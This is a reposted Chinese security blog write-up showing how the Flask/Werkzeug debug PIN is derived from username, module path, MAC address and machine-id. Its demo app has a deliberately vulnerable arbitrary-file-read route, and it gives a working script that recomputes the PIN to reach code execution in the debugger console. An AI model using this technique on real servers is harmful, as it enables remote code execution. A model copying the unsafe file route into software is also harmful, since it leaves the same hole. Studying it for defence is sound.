链接: https://xz.aliyun.com/t/2553

前言

之前在国赛决赛的时候看到p0师傅提到的关于Flask debug模式下,配合任意文件读取,造成的任意代码执行。那时候就很感兴趣,无奈后来事情有点多,一直没来得及研究。今天把这个终于把这个问题复现了一下

主要就是利用Flask在debug模式下会生成一个Debugger PIN

  1. kingkk@ubuntu:~/Code/flask$ python3 app.py
  2. * Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
  3. * Restarting with stat
  4. * Debugger is active!
  5. * Debugger pin code: 169-851-075

通过这个pin码,我们可以在报错页面执行任意python代码

Flask debug pin安全问题【转载】 - 图1

问题就出在了这个pin码的生成机制上,在同一台机子上多次启动同一个Flask应用时,会发现这个pin码是固定的。是由一些固定的值生成的,不如直接来看看Flask源码中是怎么写的

代码逻辑分析

测试环境为:

  • Ubuntu 16.04
  • python 3.5
  • Flask 0.10.1

一个简单的hello world程序 app.py

  1. # -*- coding: utf-8 -*-
  2. from flask import Flask
  3. app = Flask(__name__)
  4. @app.route("/")
  5. def hello():
  6. return 'hello world!'
  7. if __name__ == "__main__":
  8. app.run(host="0.0.0.0", port=8080, debug=True)

用pycharm在app.run下好断点,开启debug模式

由于代码写的还是相当官方的,很容易就能找到生成pin码的部分,大致跟踪流程如下

  1. app.py
  2. python3.5/site-packages/flask/app.py 772行左右 run_simple(host, port, self, **options)
  3. python3.5/site-packages/werkzeug/serving.py 751行左右 application = DebuggedApplication(application, use_evalex)
  4. python3.5/site-packages/werkzeug/debug/__init__.py

主要就在这个debug/__init__.py中,先来看一下_get_pin函数

  1. def _get_pin(self):
  2. if not hasattr(self, '_pin'):
  3. self._pin, self._pin_cookie = get_pin_and_cookie_name(self.app)
  4. return self._pin

跟进一下get_pin_and_cookie_name函数

  1. def get_pin_and_cookie_name(app):
  2. """Given an application object this returns a semi-stable 9 digit pin
  3. code and a random key. The hope is that this is stable between
  4. restarts to not make debugging particularly frustrating. If the pin
  5. was forcefully disabled this returns `None`.
  6. Second item in the resulting tuple is the cookie name for remembering.
  7. """
  8. pin = os.environ.get('WERKZEUG_DEBUG_PIN')
  9. rv = None
  10. num = None
  11. # Pin was explicitly disabled
  12. if pin == 'off':
  13. return None, None
  14. # Pin was provided explicitly
  15. if pin is not None and pin.replace('-', '').isdigit():
  16. # If there are separators in the pin, return it directly
  17. if '-' in pin:
  18. rv = pin
  19. else:
  20. num = pin
  21. modname = getattr(app, '__module__',
  22. getattr(app.__class__, '__module__'))
  23. try:
  24. # `getpass.getuser()` imports the `pwd` module,
  25. # which does not exist in the Google App Engine sandbox.
  26. username = getpass.getuser()
  27. except ImportError:
  28. username = None
  29. mod = sys.modules.get(modname)
  30. # This information only exists to make the cookie unique on the
  31. # computer, not as a security feature.
  32. probably_public_bits = [
  33. username,
  34. modname,
  35. getattr(app, '__name__', getattr(app.__class__, '__name__')),
  36. getattr(mod, '__file__', None),
  37. ]
  38. # This information is here to make it harder for an attacker to
  39. # guess the cookie name. They are unlikely to be contained anywhere
  40. # within the unauthenticated debug page.
  41. private_bits = [
  42. str(uuid.getnode()),
  43. get_machine_id(),
  44. ]
  45. h = hashlib.md5()
  46. for bit in chain(probably_public_bits, private_bits):
  47. if not bit:
  48. continue
  49. if isinstance(bit, text_type):
  50. bit = bit.encode('utf-8')
  51. h.update(bit)
  52. h.update(b'cookiesalt')
  53. cookie_name = '__wzd' + h.hexdigest()[:20]
  54. # If we need to generate a pin we salt it a bit more so that we don't
  55. # end up with the same value and generate out 9 digits
  56. if num is None:
  57. h.update(b'pinsalt')
  58. num = ('%09d' % int(h.hexdigest(), 16))[:9]
  59. # Format the pincode in groups of digits for easier remembering if
  60. # we don't have a result yet.
  61. if rv is None:
  62. for group_size in 5, 4, 3:
  63. if len(num) % group_size == 0:
  64. rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
  65. for x in range(0, len(num), group_size))
  66. break
  67. else:
  68. rv = num
  69. return rv, cookie_name

return的rv变量就是生成的pin码

最主要的就是这一段哈希部分

  1. for bit in chain(probably_public_bits, private_bits):
  2. if not bit:
  3. continue
  4. if isinstance(bit, text_type):
  5. bit = bit.encode('utf-8')
  6. h.update(bit)
  7. h.update(b'cookiesalt')

连接了两个列表,然后循环里面的值做哈希

这两个列表的定义

  1. probably_public_bits = [
  2. username,
  3. modname,
  4. getattr(app, '__name__', getattr(app.__class__, '__name__')),
  5. getattr(mod, '__file__', None),
  6. ]
  7. private_bits = [
  8. str(uuid.getnode()),
  9. get_machine_id(),
  10. ]

可以先看一下debug的值,配合debug中的值做进一步分析

Flask debug pin安全问题【转载】 - 图2

可以看到

username就是启动这个Flask的用户

modname为flask.app

getattr(app, '__name__', getattr(app.__class__, '__name__'))为Flask

getattr(mod, '__file__', None)为flask目录下的一个app.py的绝对路径

uuid.getnode()就是当前电脑的MAC地址,str(uuid.getnode())则是mac地址的十进制表达式

get_machine_id()不妨跟进去看一下

  1. def _generate():
  2. # Potential sources of secret information on linux. The machine-id
  3. # is stable across boots, the boot id is not
  4. for filename in '/etc/machine-id', '/proc/sys/kernel/random/boot_id':
  5. try:
  6. with open(filename, 'rb') as f:
  7. return f.readline().strip()
  8. except IOError:
  9. continue
  10. # On OS X we can use the computer's serial number assuming that
  11. # ioreg exists and can spit out that information.
  12. try:
  13. # Also catch import errors: subprocess may not be available, e.g.
  14. # Google App Engine
  15. # See https://github.com/pallets/werkzeug/issues/925
  16. from subprocess import Popen, PIPE
  17. dump = Popen(['ioreg', '-c', 'IOPlatformExpertDevice', '-d', '2'],
  18. stdout=PIPE).communicate()[0]
  19. match = re.search(b'"serial-number" = <([^>]+)', dump)
  20. if match is not None:
  21. return match.group(1)
  22. except (OSError, ImportError):
  23. pass
  24. # On Windows we can use winreg to get the machine guid
  25. wr = None
  26. try:
  27. import winreg as wr
  28. except ImportError:
  29. try:
  30. import _winreg as wr
  31. except ImportError:
  32. pass
  33. if wr is not None:
  34. try:
  35. with wr.OpenKey(wr.HKEY_LOCAL_MACHINE,
  36. 'SOFTWARE\\Microsoft\\Cryptography', 0,
  37. wr.KEY_READ | wr.KEY_WOW64_64KEY) as rk:
  38. machineGuid, wrType = wr.QueryValueEx(rk, 'MachineGuid')
  39. if (wrType == wr.REG_SZ):
  40. return machineGuid.encode('utf-8')
  41. else:
  42. return machineGuid
  43. except WindowsError:
  44. pass
  45. _machine_id = rv = _generate()
  46. return rv

首先尝试读取/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值,若有就直接返回

假如是在win平台下读取不到上面两个文件,就去获取注册表中SOFTWARE\\Microsoft\\Cryptography的值,并返回

这里就是etc/machine-id文件下的值

Flask debug pin安全问题【转载】 - 图3

这样,当这6个值我们可以获取到时,就可以推算出生成的PIN码,引发任意代码执行

配合任意文件读取

修改一下之前的app.py,增加一个任意文件读取功能,并让index页面抛出一个异常(也就是给一个代码执行点

  1. # -*- coding: utf-8 -*-
  2. import pdb
  3. from flask import Flask, request
  4. app = Flask(__name__)
  5. @app.route("/")
  6. def hello():
  7. return Hello['a']
  8. @app.route("/file")
  9. def file():
  10. filename = request.args.get('filename')
  11. try:
  12. with open(filename, 'r') as f:
  13. return f.read()
  14. except:
  15. return 'error'
  16. if __name__ == "__main__":
  17. app.run(host="0.0.0.0", port=8080, debug=True)

尝试去获取那6个变量值

  1. username # 用户名
  2. modname # flask.app
  3. getattr(app, '__name__', getattr(app.__class__, '__name__')) # Flask
  4. getattr(mod, '__file__', None) # flask目录下的一个app.py的绝对路径
  5. uuid.getnode() # mac地址十进制
  6. get_machine_id() # /etc/machine-id

首先先获取/etc/machine-id
Flask debug pin安全问题【转载】 - 图4

  1. 19949f18ce36422da1402b3e3fe53008

然后是mac地址(我虚拟机中网卡为ens33,一般情况下应该是eth0)

Flask debug pin安全问题【转载】 - 图5

然后还可以利用debug的报错页面获取一些路径信息

Flask debug pin安全问题【转载】 - 图6

这样直接用户名和app.py的绝对路径都能获得到了

然后利用几个值,就可以推算出pin码

  1. import hashlib
  2. from itertools import chain
  3. probably_public_bits = [
  4. 'kingkk',# username
  5. 'flask.app',# modname
  6. 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
  7. '/home/kingkk/.local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
  8. ]
  9. private_bits = [
  10. '52242498922',# str(uuid.getnode()), /sys/class/net/ens33/address
  11. '19949f18ce36422da1402b3e3fe53008'# get_machine_id(), /etc/machine-id
  12. ]
  13. h = hashlib.md5()
  14. for bit in chain(probably_public_bits, private_bits):
  15. if not bit:
  16. continue
  17. if isinstance(bit, str):
  18. bit = bit.encode('utf-8')
  19. h.update(bit)
  20. h.update(b'cookiesalt')
  21. cookie_name = '__wzd' + h.hexdigest()[:20]
  22. num = None
  23. if num is None:
  24. h.update(b'pinsalt')
  25. num = ('%09d' % int(h.hexdigest(), 16))[:9]
  26. rv =None
  27. if rv is None:
  28. for group_size in 5, 4, 3:
  29. if len(num) % group_size == 0:
  30. rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
  31. for x in range(0, len(num), group_size))
  32. break
  33. else:
  34. rv = num
  35. print(rv)

算出来pin码为

  1. 169-851-075

可以看到和终端输出的pin码值是一样的

  1. kingkk@ubuntu:~/Code/flask$ python3 app.py
  2. * Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
  3. * Restarting with stat
  4. * Debugger is active!
  5. * Debugger pin code: 169-851-075

尝试在debug页面输入一下

成功命令执行

Flask debug pin安全问题【转载】 - 图7